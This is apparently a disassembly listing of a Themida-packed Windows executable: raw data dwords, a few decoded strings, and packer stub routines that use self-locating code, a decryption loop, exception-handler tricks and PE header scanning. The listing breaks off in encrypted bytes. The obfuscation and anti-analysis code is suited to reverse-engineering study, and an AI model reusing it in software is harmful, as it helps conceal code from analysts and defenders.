9920000h, 0BED4150Dh, 5Ah, 0Fh dup(0) dd 2290000h, 0FFFFh, 8D8D0000h, 9A30h, 0Bh dup(0) dd 0EF9D0000h, 3EBEh, 5 dup(0) dd 20000h, 3 dup(0) dd 0A1C50000h, 5CB50058h, 77E7h, 3040000h, 7FFEh, 5 dup(0) dd 9DF10000h, 3E5Eh, 2 dup(0) dd 0AE000000h, 2 dup(0) dd 6180000h, 2D3A77E8h, 0FD98h, 30h dup(0) dd 3040000h, 0A47FFEh, 3E5F0000h, 2B1Fh, 0 dd 46DD0000h, 7A32h, 9B340000h, 0FFFFh, 0 dd 728D0000h, 52170590h, 3 dup(0) dd 3040000h, 7FFEh, 4 dup(0) dd 0FFFC0000h, 8001h, 0Ch dup(0) dd 0FA440000h, 0FFA7h, 17h dup(0) dd 58680000h, 564Dh, 230000h, 57h, 6 dup(0) dd 0A9A0000h, 9C380053h, 7316FFFFh, 0A2h, 42F90000h, 9D5B16FBh dd 77E7h, 3 dup(0) dd 0FFD50000h, 2FE8FFFFh, 77E8h, 0 dd 11E40000h, 5201h, 0FFFF0000h, 0FFFFh, 0B5E20000h, 0FFE08A0Fh dd 12h, 2 dup(0) dd 0BFF80000h, 0FFFFh, 230000h, 2 dup(0) dd 0A5360000h, 0E8E73276h, 32680056h, 0A1h, 140000h, 0D2000Eh dd 7 dup(0) dd 7B360000h, 0B69F0059h, 59h, 2 dup(0) dd 8B820000h, 77E7h, 4 dup(0) dd 99950000h, 0A4h, 6 dup(0) dd 1C450000h, 99C2h, 0 dd 66990000h, 17470000h, 59h, 7 dup(0) dd 10000h, 0 dd 3040000h, 3A437FFEh, 4E49575Ch, 53574F44h, 7379535Ch dd 336D6574h, 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0) dd 0D70A0000h, 0FFA5h, 40000h, 2 dup(0) dd 79630000h, 77E7h, 0EC5E0000h, 2 dup(0) dd 21470000h, 57h, 0 dd 5EB90000h, 58h, 6C1B0000h, 13FF5h, 5 dup(0) dd 0FE620000h, 0FFABh, 2 dup(0) dd 66100000h, 9A660000h, 5Ah, 0 dd 3BC0000h, 9 dup(0) dd 3040000h, 7FFEh, 0 dd 59560000h, 33480059h, 1FDAh, 3 dup(0) dd 66A80000h, 4 dup(0) dd 10000h, 3B5C8018h, 6399005Ah, 388Ah, 0DF390000h, 0E5E3h dd 0A18D0000h, 6850h, 0 dd 92740000h, 35B0056h, 5 dup(0) dd 0FFB00000h, 2B0h, 2 dup(0) dd 5E2E0000h, 0A0h, 3 dup(0) dd 40h, 2 dup(0) dd 0C0000h, 241h, 8 dup(0) dd 77E6h, 6 dup(0) dd 0C8620000h, 6EA4h, 0 dd 3040000h, 7FFEh, 0 dd 4, 9B780000h, 845Dh, 0 dd 199B0000h, 50Ch, 0 dd 69DD0000h, 0E57F00A0h, 5D9h, 4 dup(0) dd 40000h, 0C8620000h, 6EA4h, 6 dup(0) dd 0CDC60000h, 24240057h, 2424h, 15h dup(0) dd 31EC0000h, 43C8h, 0Bh dup(0) dd 30DF0000h, 0A9C5h, 6 dup(0) dd 9B0E0000h, 7FD80057h, 0A2h, 0C48A0000h, 0 dd 72DF0000h, 5DBh, 0Dh dup(0) dd 0A0090000h, 180B0000h, 77F5h, 10000h, 0 dd 0B5E20000h, 8A0Fh, 0 dd 6BC60000h, 0BAC0h, 92FF0000h, 0FFA8h, 0 dd 0FFDD0000h, 0FFABh, 0A20000h, 0 dd 0FCFC0000h, 8001h, 3040000h, 7FFEh, 5 dup(0) dd 10000000h, 40h, 0 dd 2A440000h, 0B1Bh, 8 dup(0) dd 0FA560000h, 0A0h, 2 dup(0) dd 0AC5E0000h, 0C63E77E7h, 2F13h, 2 dup(0) dd 728D0000h, 1092h, 2 dup(0) dd 4D4E0000h, 52F0005Ah, 58h, 5 dup(0) dd 0F6820000h, 2991EEC8h, 5FF10054h, 0FF5Fh, 2 dup(0) dd 0FF660000h, 53h, 2 dup(0) dd 10000h, 0 dd 0F80000h, 77E6h, 5 dup(0) dd 0FFFA0000h, 0FFBFh, 4 dup(0) dd 36360000h, 3636h, 4 dup(0) dd 8B820000h, 77E7h, 0 dd 4A0B0000h, 191Fh, 7 dup(0) dd 211F0000h, 57h, 0 dd 23E80000h, 8E3000A1h, 0FFFFh, 3040000h, 7FFEh, 2Ch dup(0) dd 93BF0000h, 56h, 0 dd 230000h, 0E800057h, 0 dd 880000h, 2 dup(0) dd 1050000h, 0A28h, 92740000h, 56h, 5 dup(0) dd 1FEF0000h, 57h, 0 dd 0EEAC0000h, 6CF22Dh, 0 dd 0EED40000h, 5EAh, 14h dup(0) dd 0FFF00000h, 12h, 99080000h, 0FFFFh, 2 dup(0) dd 8EA50000h, 97Dh, 7 dup(0) dd 43F80000h, 16FBh, 93BF0000h, 40056h, 6B60000h, 0 dd 0EA460000h, 0FE82h, 3 dup(0) dd 0F59E0000h, 53h, 6 dup(0) dd 3E4D0000h, 0D706FF95h, 77E6h, 6 dup(0) dd 0AC0000h, 5 dup(0) dd 3A00000h, 30000h, 4 dup(0) dd 0EA3D0000h, 0FFA6h, 2 dup(0) dd 79B80000h, 0FFA8h, 7B360000h, 59h, 4 dup(0) dd 0F5590000h, 6E36h, 12h dup(0) dd 2BDE0000h, 0C08B0000h, 6861h, 5 dup(0) dd 0D7020000h, 8056h, 0 dd 0D0000000h, 0Dh, 2 dup(0) dd 10000h, 26290000h, 2 dup(0) dd 34300000h, 0EC5E312Dh, 57h, 4 dup(0) dd 72DF0000h, 5DBh, 48E90000h, 1, 7 dup(0) dd 360C0000h, 77E8h, 3 dup(0) dd 5FF10000h, 0FF5Fh, 2 dup(0) dd 0B5E20000h, 8A0Fh, 0FA2E0000h, 53h, 5 dup(0) dd 520F0000h, 59h, 66A80000h, 4 dup(0) dd 8DC80000h, 0FFFFh, 0FFB00000h, 150h, 6 dup(0) dd 50680000h, 58h, 2 dup(0) dd 19E0000h, 2, 4 dup(0) dd 0B0620000h, 0B52Fh, 7 dup(0) dd 140B0000h, 5Bh, 0 dd 8100000h, 8 dup(0) dd 0A3360000h, 24F6h, 6 dup(0) dd 700000h, 5 dup(0) dd 10000h, 0A9A0000h, 9Fh, 0A4960000h, 32B3h, 0 dd 1A070000h, 0A6E900AEh, 77EBh, 2 dup(0) dd 93930000h, 0A86300A0h, 0FFFFh, 4 dup(0) dd 800000h, 0 dd 0F5590000h, 6E36h, 5 dup(0) dd 93EF0000h, 77E7h, 4 dup(0) dd 0FFB00000h, 200h, 0 dd 0A9A0000h, 9Fh, 5 dup(0) dd 0B5E20000h, 6 dup(0) aWnn0 db 'тw██0 ',0 align 4 dd 0 dd 3040000h, 7FFEh, 2 dup(0) dd 5ECC0000h, 77DDh, 37260000h, 5Bh, 6 dup(0) dd 86480000h, 57h, 0 dd 66A80000h, 0F6F40000h, 0B6F08005h, 0AEh, 3 dup(0) dd 13A80000h, 0CE55h, 0 dd 0FFFF0000h, 0FFFFh, 0 dd 40950000h, 58h, 0 dd 0A80000h, 4 dup(0) dd 1B2B0000h, 77F5h, 1E9E0000h, 57h, 2 dup(0) dd 5D80000h, 238A77E8h, 59h, 2 dup(0) dd 82000000h, 0B592h, 0B0E90000h, 7 dup(0) dd 9C380000h, 0FFFFh, 0Ah dup(0) dd 0F80000h, 0BFh, 2 dup(0) dd 3040000h, 7FFEh, 0Ah dup(0) dd 0A1440000h, 8F0877E7h, 0A00FFFFFh, 0AC9F00A0h, 7B33h dd 0B1680000h, 9Fh, 4 dup(0) dd 7CC80000h, 3012h, 0 dd 80A30000h, 0CDA6h, 2 dup(0) dd 0A00F0000h, 0A0h, 2 dup(0) dd 412F0000h, 0A0h, 2 dup(0) dd 0B2110000h, 0A0h, 0Bh dup(0) dd 72DF0000h, 865A05DBh, 5AFE0057h, 5Ah, 2 dup(0) dd 0A0370000h, 0A0h, 7 dup(0) dd 46440000h, 7FF2h, 0 dd 14340000h, 6 dup(0) dd 38680000h, 3 dup(0) dd 780000h, 4 dup(0) dd 0A29C0000h, 0B630h, 0 dd 1BF70000h, 84960109h, 5 dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 0FFA40000h, 12h, 4 dup(0) dd 7F5D0000h, 21683259h, 77E8h, 0 dd 3E680000h, 229277E8h, 6B7000A0h, 3, 0Ah dup(0) dd 39060000h, 0B44h, 2 dup(0) dd 0BD50000h, 28Fh, 93BE0000h, 56h, 4 dup(0) dd 0FDFD0000h, 9A31h, 3 dup(0) dd 4490000h, 0A0h, 0D20000h, 0 dd 9Fh, 8C0000h, 0E50000h, 0 dd 69DD0000h, 0A0h, 9C340000h, 4 dup(0) dd 0CAB70000h, 0FFA6h, 2 dup(0) dd 0FF660000h, 53h, 5 dup(0) dd 2BDE0000h, 0A0h, 30DF0000h, 0A1h, 8 dup(0) dd 0BAEE0000h, 10000573h, 1C1001Ch, 0FC6Bh, 2 dup(0) dd 6400000h, 4C3h, 0Dh dup(0) dd 0C96A0000h, 69DD77D4h, 0A0h, 8D3D0000h, 2F7Eh, 3 dup(0) dd 0D20000h, 3 dup(0) dd 72DA0000h, 302Dh, 20000h, 9 dup(0) dd 7B360000h, 59h, 66A80000h, 8DFF0000h, 22220058h, 22222222h dd 2222h, 4 dup(0) dd 86480000h, 57h, 4 dup(0) dd 0A3450000h, 0FFA6h, 0FFFF0000h, 0FFFFh, 0Ch dup(0) dd 87480000h, 0F9F00057h, 0CD070057h, 0FFA7h, 5 dup(0) dd 66100000h, 2 dup(0) dd 77E6h, 7 dup(0) dd 0ADD90000h, 7F98h, 3 dup(0) dd 3040000h, 7FFEh, 0 dd 0EE80000h, 19h dup(0) dd 0FCFC0000h, 18001h, 4 dup(0) dd 42C20000h, 0B134h, 2 dup(0) dd 6F80000h, 0F02Eh, 0 dd 0D5540000h, 9Fh, 8 dup(0) dd 6EE60000h, 215D8019h, 54h, 2 dup(0) dd 0C3F80000h, 5Ah, 3 dup(0) dd 3E0000h, 77FFh, 3040000h, 0C07FFEh, 48E90000h, 31450001h dd 0A0h, 4 dup(0) dd 0A00F0000h, 0A0h, 0 dd 86480000h, 57h, 0 dd 5AB30000h, 0D0DBh, 3E3B0000h, 0A0h, 0C8620000h, 6EA4h dd 2 dup(0) dd 63E90000h, 22E6h, 2 dup(0) dd 48E90000h, 1, 3 dup(0) dd 3C430000h, 0AFCFh, 0F80000h, 9Fh, 6 dup(0) dd 0A00F0000h, 3B76FFA8h, 0DDD0h, 8 dup(0) dd 25Bh, 3 dup(0) dd 65520000h, 72617473h, 70704174h, 6578652Eh, 4 dup(0) dd 21210000h, 2121h, 0 dd 0FCFC0000h, 8001h, 6A620000h, 69DD442Ch, 0A0h, 4 dup(0) dd 9BAC0000h, 0A2h, 4 dup(0) dd 96CF0000h, 0FFA8h, 0 dd 70C40000h, 6BD300A0h, 249h, 2 dup(0) dd 7FFF0000h, 0FFh, 25Ah, 0 dd 7FED0000h, 747h, 2 dup(0) dd 3040000h, 7FFEh, 23h dup(0) dd 10000h, 6 dup(0) dd 0BA0000h, 2 dup(0) dd 6E800000h, 99AD0000h, 77FBh, 7 dup(0) dd 86480000h, 57h, 3 dup(0) dd 0A00F0000h, 0FFA8h, 4 dup(0) dd 99290000h, 0FFA5h, 3040000h, 7FFEh, 3 dup(0) dd 1A070000h, 0AEh, 230000h, 57h, 6 dup(0) dd 66A80000h, 9 dup(0) dd 0AC0000h, 0FFEDh, 4 dup(0) dd 0FF540000h, 12h, 2 dup(0) dd 0B00000h, 3 dup(0) dd 5D277F5h, 54h, 3 dup(0) dd 2BCF0000h, 8AFB144Fh, 3ECAh, 0A0440000h, 0FFFFh, 28F60000h dd 5Ah, 259h, 7FE80000h, 3, 5 dup(0) dd 915B0000h, 30400A0h, 7FFEh, 3040000h, 887FFEh, 2Dh dup(0) dd 0E530000h, 0FFA5h, 763E0000h, 5Ah, 93930000h, 0A0h dd 0 dd 0DBB90000h, 0FFA7h, 7Fh dup(0) dd 92740000h, 0C6000056h, 3, 0E8E70000h, 2 dup(0) dd 5EA40000h, 58h, 0 dd 35A90000h, 58h, 3 dup(0) dd offset loc_410000 dd 8020h, 2 dup(0) dd 10000h, 5 dup(0) dd 23D70000h, 77DDh, 6 dup(0) dd 90000000h, 3, 8 dup(0) dd 30DF0000h, 0A9C5h, 0 dd 12A10000h, 58h, 0Ah dup(0) dd 740000h, 3 dup(0) dd 0AEh, 0D2B40000h, 1D1h, 2 dup(0) dd 19E0000h, 54h, 3 dup(0) dd 189A0000h, 77DDh, 0 dd 1568894Ch, 0AA9000A1h, 5 dup(0) dd 0DCB60000h, 0FFEBh, 2 dup(0) dd 0E80000h, 0A00000h, 56430000h, 0 dd 72DF0000h, 5DBh, 69DD0000h, 0A0h, 2 dup(0) dd 3040000h, 7FFEh, 11h dup(0) dd 6AD40000h, 64F8h, 0 dd 0E99E0000h, 56h, 2 dup(0) dd 35150000h, 78B80059h, 0FFA8h, 4 dup(0) dd 72DF0000h, 5DBh, 0 dd 2E0F0000h, 77F5h, 2 dup(0) dd 41400000h, 20F7FFA7h, 460057h, 2 dup(0) dd 0A7520000h, 0BED7h, 5 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_541AAA: ; CODE XREF: start:loc_53E7C9j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 5E432EBh mov [ebp+5E40F79h], edx mov [ebp+5E41C65h], esi mov [ebp+5E41F85h], eax cmp dword ptr [ebp+5E40FA1h], 0 jz short loc_541AE2 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_541AE2: ; CODE XREF: start+61AC0j mov eax, [esp+40h+var_1C] mov [ebp+5E432A1h], eax push 45h call sub_541B96 push 783749Ah call sub_541BDC push 0A894B25h call sub_541BDC jmp loc_541D20 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_541B96 proc near ; CODE XREF: start+61ADAp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 5E433D9h mov ebx, edx mov [ebp+var_28], 0 loc_541BB2: ; CODE XREF: sub_541B96+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_541BD1 mov eax, [ebp+arg_0] mov [ebx+5E43343h], eax inc [ebp+arg_0] inc ebx jmp short loc_541BB2 ; --------------------------------------------------------------------------- loc_541BD1: ; CODE XREF: sub_541B96+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_541B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_541BDC proc near ; CODE XREF: start+61AE4p start+61AEEp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 5E43422h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_541C02: ; CODE XREF: sub_541BDC+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_541C02 mov [ebp+var_84], 0 lea edi, [edx+5E43343h] lea esi, [ebp+var_80] loc_541C32: ; CODE XREF: sub_541BDC+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_541C3E: ; CODE XREF: sub_541BDC+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_541C3E imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_541C32 popa leave retn 4 sub_541BDC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_541C7C ; --------------------------------------------------------------------------- loc_541C78: ; CODE XREF: Themida_:00541C7Fj inc dword ptr [ebp-4] inc esi loc_541C7C: ; CODE XREF: Themida_:00541C76j cmp byte ptr [esi], 0 jnz short loc_541C78 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_541D0D ; --------------------------------------------------------------------------- loc_541C8E: ; CODE XREF: Themida_:00541D10j mov dword ptr [ebp-8], 0 jmp short loc_541D04 ; --------------------------------------------------------------------------- loc_541C97: ; CODE XREF: Themida_:00541D08j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_541CF1 ; --------------------------------------------------------------------------- loc_541CA7: ; CODE XREF: Themida_:00541CF5j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_541CC9 cmp bl, 39h ja short loc_541CC9 sub bl, 30h jmp short loc_541CEB ; --------------------------------------------------------------------------- loc_541CC9: ; CODE XREF: Themida_:00541CBDj ; Themida_:00541CC2j cmp bl, 61h jb short loc_541CDB cmp bl, 66h ja short loc_541CDB sub bl, 61h add bl, 0Ah jmp short loc_541CEB ; --------------------------------------------------------------------------- loc_541CDB: ; CODE XREF: Themida_:00541CCCj ; Themida_:00541CD1j cmp bl, 41h jb short loc_541CEB cmp bl, 46h ja short loc_541CEB sub bl, 41h add bl, 0Ah loc_541CEB: ; CODE XREF: Themida_:00541CC7j ; Themida_:00541CD9j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_541CF1: ; CODE XREF: Themida_:00541CA5j cmp dword ptr [ebp-0Ch], 2 jb short loc_541CA7 cmp dword ptr [ebp-10h], 0 jbe short loc_541D01 mov eax, [ebp-10h] stosb loc_541D01: ; CODE XREF: Themida_:00541CFBj inc dword ptr [ebp-8] loc_541D04: ; CODE XREF: Themida_:00541C95j cmp dword ptr [ebp-8], 2 jb short loc_541C97 add edx, 4 loc_541D0D: ; CODE XREF: Themida_:00541C8Cj cmp edx, [ebp-4] jb loc_541C8E mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_541D20: ; CODE XREF: start+61AF3j mov ecx, 7000h lea edi, [ebp+5E43568h] loc_541D2B: ; CODE XREF: start+61D1Bj dec byte ptr [edi] inc edi dec ecx jnz short loc_541D2B mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+5E43685h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push edx mov bx, 0E50Fh pop ebx push 0 push edx call sub_541D6D and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_541D6D proc near ; CODE XREF: start+61D51p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_541D6D endp ; --------------------------------------------------------------------------- aIGgq db '⌡зG┐Q╨!+б%',0 dd 6AFFFFF0h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 55FAC350h, 0B167FD15h, 75D18293h dd 68A0Fh, 0E3810000h, 5DA3F459h, 0EBEB8166h, 33CA8B15h dd 388166FFh, 0E755A4Dh, 3C50B70Fh, 3A81D003h, 4550h, 2D0874h dd 47000010h, 8F64E3EBh, 5, 4C48300h, 3698958Dh, 645205E4h dd 35FFh, 89640000h, 25h, 2DC10300h, 1000h, 8104708Bh dd 0FF0000E6h, 0FE81FFh, 76800000h, 1C708B03h, 0F883C033h dd 661F7432h, 5A4D3E81h, 0EE810974h, 10000h, 8BEBEB40h dd 0FE033C7Eh, 45503F81h, 44740000h, 8F64E8EBh, 5, 4C48300h dd 8B51C361h, 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h dd 0E8551024h, 0 dd 0A3ED815Dh, 8D05E436h, 0E4366185h, 0B8818905h, 5D000000h dd 0C3C03359h, 58F6496h, 0 dd 0F04C483h, 6AD8B7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0E9DE0EC3h, 13h, 88E366E0h, 0AE4F0AE3h dd 0A2AF6B2Ch, 0D1A6C9C9h, 661A5711h, 0F4BBD98Ch, 801113A4h dd 840F04E1h, 0Ch, 7E9h, 2C590800h, 0CDC7667Ch, 850FC90Ah dd 52h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh dd 49C35040h, 0C47AB3FDh, 0C72F0D38h, 0E4299585h, 105h dd 0BBFC8A00h, 619B25Ch, 25E9h, 128A0F00h, 0E9000000h dd 0Dh, 18FE8083h, 20C2EB6Bh, 0DB1B960h, 85C7F92Eh, 5E42995h dd 0 dd 8589E7B7h, 5E428E5h, 0DE9h, 1C83A400h, 0E8A88DF0h, 863ECCD5h dd 5BBB93Ch, 89078343h, 0E426F585h, 12E805h, 1A320000h dd 0B05D5282h, 37F9A7DDh, 0E9CADF3Eh, 0A22A3056h, 0C9BF0F5Fh dd 6364C781h, 11E90000h, 75000000h, 8BC46BF3h, 7DDFA753h dd 7CA2A827h, 675EBB1Ch, 0BE66C033h, 34FF9857h, 5840F38h dd 66000000h, 0B134E681h, 5BE6815Bh, 81555381h, 65BB88F3h dd 8E964h, 4B340000h, 542FE4FBh, 0F381438Bh, 65AB25F4h dd 0C491B966h, 35A0EB81h, 860F4578h, 0 dd 0E8071C89h, 8, 0EEED0302h, 8F6F9639h, 0F104B966h, 0B890F59h dd 0F000000h, 580h, 0D6816600h, 0E88326F5h, 3830F04h, 0F000000h dd 0F881F1BFh, 0FFFF9D64h, 0FF84850Fh, 13E9FFFFh, 0AB000000h dd 0A84A3ABEh, 655F58Fh, 3DEDE02Bh, 7EDF5284h, 5E8CE2Fh dd 6F000000h, 3AE4A8A9h, 2E70B1BEh, 13E95A25h, 10000000h dd 0FF1AC1E6h, 0A70CCFBAh, 0B41DF14Eh, 0CBD04FCCh, 0C281D084h dd 6E70h, 0AE9h, 6FA38200h, 7595E2B2h, 2B5BCD92h, 0DCE780FFh dd 0F1734FFh, 68Ch, 0BECB8100h, 596055AAh, 81F1B70Fh, 0B3FBE3E9h dd 17BB6658h, 0C1E981F9h, 8018EBC3h, 0F181FBC8h, 6117B16Dh dd 0C0BF0F51h, 0E83A048Fh, 0Fh, 9F55242Bh, 8E659A2h, 0F9B3EA7Dh dd 0E93FE3ABh, 6, 97D5B567h, 0F5B93A7h, 0E89h, 9E900h dd 613B0000h, 0BD884DF8h, 830D0783h, 10E901EFh, 0B8000000h dd 103A9CACh, 35166DB2h, 3AFE92ECh, 4F2E4F8Ah, 0FE94F4Fh dd 36000000h, 0C4A642B7h, 203F66E4h, 1B4057C7h, 0FF814070h dd 0FFFF9290h, 0FF5E850Fh, 820FFFFFh, 1Fh, 19800Fh, 14E90000h dd 66000000h, 90B2A570h, 946B632Dh, 999C219Eh, 178D7A1h dd 0E995CEC2h, 749h, 16F9BD31h, 21705E4h, 89000000h, 0E422E5B5h dd 9E96005h, 29000000h, 0EDFFC326h, 25EEC172h, 8F0FC02Bh dd 6, 1DF98589h, 548B05E4h, 85292824h, 5E408A1h, 1A5D8589h dd 810F05E4h, 0Ch, 68C0Fh, 8D890000h, 5E42929h, 3CBEF5h dd 13E90000h, 0B8000000h, 3A6DEED9h, 2601F467h, 0E1AF402Bh dd 0A718FAF6h, 7403C1CAh, 0FCF92424h, 870FAD66h, 1, 244403F5h dd 15BD0124h, 9005E416h, 9E9h, 3656A700h, 0D6530C9Bh, 0F50EE39h dd 686h, 2AB46000h, 906171B7h, 371B589h, 830F05E4h, 8 dd 2800Fh, 61600000h, 0F78408Bh, 0A83h, 95896000h, 5E42A9Dh dd 3615E51h, 9282444h, 0E42A15B5h, 18408B05h, 0DE9h, 280B7A00h dd 0FB2EA594h, 36FD0AB9h, 1405570h, 0E417958Dh, 89858905h dd 0F05E439h, 188h, 0F858F500h, 0E978708Bh, 13h, 0BD443FAAh dd 0FA0F3EE7h, 494DCBD7h, 55203DB1h, 8377EE03h, 13E91CC6h dd 5A000000h, 0B7AA46FDh, 646F6506h, 0F5BD72B1h, 33137EFBh dd 74030CE2h, 6E92424h, 5C000000h, 101A5826h, 0BDBD8DD2h dd 8905E431h, 0E41D8185h, 8960AD05h, 0E427098Dh, 0BE905h dd 58D00000h, 0E4E2DB14h, 1716CF4h, 3FC61B9h, 0F8242444h dd 0BD8DFCABh, 5E41E09h, 2A19589h, 9AD05E4h, 0E40259B5h dd 24440305h, 13E924h, 0DE830000h, 202A1E4Dh, 0F1017938h dd 1DF5B4Eh, 0E134611Fh, 0CE9508Dh, 53000000h, 4365A233h dd 0ECE49AD7h, 897C1913h, 0CE92404h, 0E2000000h, 0E0A9D7A8h dd 2781B57Bh, 0AB3EBBBCh, 9DBD8DF9h, 6005E417h, 6A6DBE66h dd 1091858Bh, 0AD6105E4h, 0F8D0Fh, 0AE90000h, 4F000000h dd 0ED02CD63h, 432C4657h, 2444034Ch, 0EE928h, 0A3FF0000h dd 0D3F4691Ah, 5B45390Fh, 8682862Ch, 0FD9589h, 0E9AB05E4h dd 8, 2A78DA42h, 0D34B4CBAh, 958B605Eh, 5E42BB1h, 10E860h dd 6E310000h, 0A4D530A7h, 0E87E2E3Eh, 9B81A15Bh, 895AC0F1h dd 0E4111DB5h, 89616105h, 0E4266D85h, 898DFF05h, 8305E439h dd 0E43989BDh, 10750005h, 1C2444C7h, 0 dd 3E3FB58Dh, 0E6FF05E4h, 4403AD56h, 8B972824h, 49858ADFh dd 8405E42Ah, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 0E41A5D85h, 0FF6FE905h dd 0FC5EFFFFh, 999589F8h, 8B05E421h, 0E41A5D85h, 0B5896005h dd 5E42175h, 1C759589h, 0D16105E4h, 618D89E0h, 305E423h dd 0E4179D85h, 55BD8905h, 2B05E404h, 0EE9F6h, 0CD0000h dd 0BBE30789h, 12FB4977h, 7C46A794h, 0C890Fh, 810F0000h dd 6, 830Fh, 0F960000h, 688h, 498D8900h, 6605E408h, 51BD89ADh dd 0C105E426h, 0FF802E0h, 0E85h, 8D096000h, 5E40899h, 162D8589h dd 36105E4h, 0E431BD85h, 71952905h, 0F805E42Dh, 850B6096h dd 5E42171h, 29CB8B60h, 0E4202DBDh, 0AD616105h, 12E9h dd 0B9D15E00h, 0ED057B10h, 116D8F10h, 29B0C9DBh, 8B59B3CAh dd 8924244Ch, 0E4176D95h, 24440305h, 0DE924h, 93950000h dd 6BEA0526h, 8C37079Dh, 1D55EF9h, 0E410BDB5h, 24448905h dd 0C98D891Ch, 9605E41Ah, 9A19589h, 89AC05E4h, 0E40CA9B5h dd 0FC93205h, 685h, 69BD8900h, 0FE05E41Ch, 0C830FC1h, 0F000000h dd 68Fh, 15858900h, 0D005E41Ah, 0BD830FD0h, 0E9000000h dd 10h, 8D4911CBh, 0ADF84167h, 6ED2376Dh, 71285E82h, 830FD0D0h dd 0A0h, 0BA665060h, 89592D1Fh, 0E41109B5h, 0D0D06105h dd 8A820Fh, 810F0000h, 0Bh, 6E9h, 0D66D7200h, 0D0EFF8E3h dd 71820FD0h, 0F000000h, 0C84h, 7E900h, 0B11C0000h, 2FFE81BAh dd 0FC9FE4Eh, 0FFFF9289h, 259529FFh, 8305E425h, 0B86020C4h dd 15F3BA8Bh, 61FEB70Fh, 0FC2444C7h, 0 dd 108C0Fh, 0BE90000h, 1F000000h, 2A94970Ch, 848EABBEh dd 1B8EB75h, 60000000h, 21A5858Bh, 0BB6605E4h, 8D61CD11h dd 0E46FFD8Dh, 0F1858905h, 0FF05E417h, 9531F5E1h, 5E410DDh dd 2A4985C6h, 0F0005E4h, 1089h, 0BE900h, 132C0000h, 59725559h dd 6E5F6056h, 0BD316165h, 5E408C9h, 10008C2h, 0E42D519Dh dd 840F9605h, 0Eh, 9E9h, 26F90400h, 21208993h, 0F50E28Eh dd 0A86h, 5E900h, 0FD130000h, 960D2085h, 7899589h, 7E905E4h dd 0B3000000h, 0CFDC3631h, 0B5894A9Eh, 5E44087h, 1A598D31h dd 8D8905E4h, 5E440B7h, 8D0F60h, 8B000000h, 0E40D45B5h dd 8DF56105h, 0E43F3BB5h, 12E905h, 1ED10000h, 0A6A51C86h dd 1BF72625h, 0E7BF25E9h, 0BDF70890h, 7E35858Dh, 5E9005Bh dd 9C000000h, 4FBD1CFEh, 0B6F38160h, 61387D36h, 8589D0FFh dd 5E40449h, 2A31B509h, 605E05E4h, 0FE9h, 0B7F08600h, 0A74CD64Ch dd 0ADF61A0Eh, 58F96E6Bh, 11259529h, 0C36105E4h, 0FE9h dd 7A946700h, 6D60143Fh, 0B94136CCh, 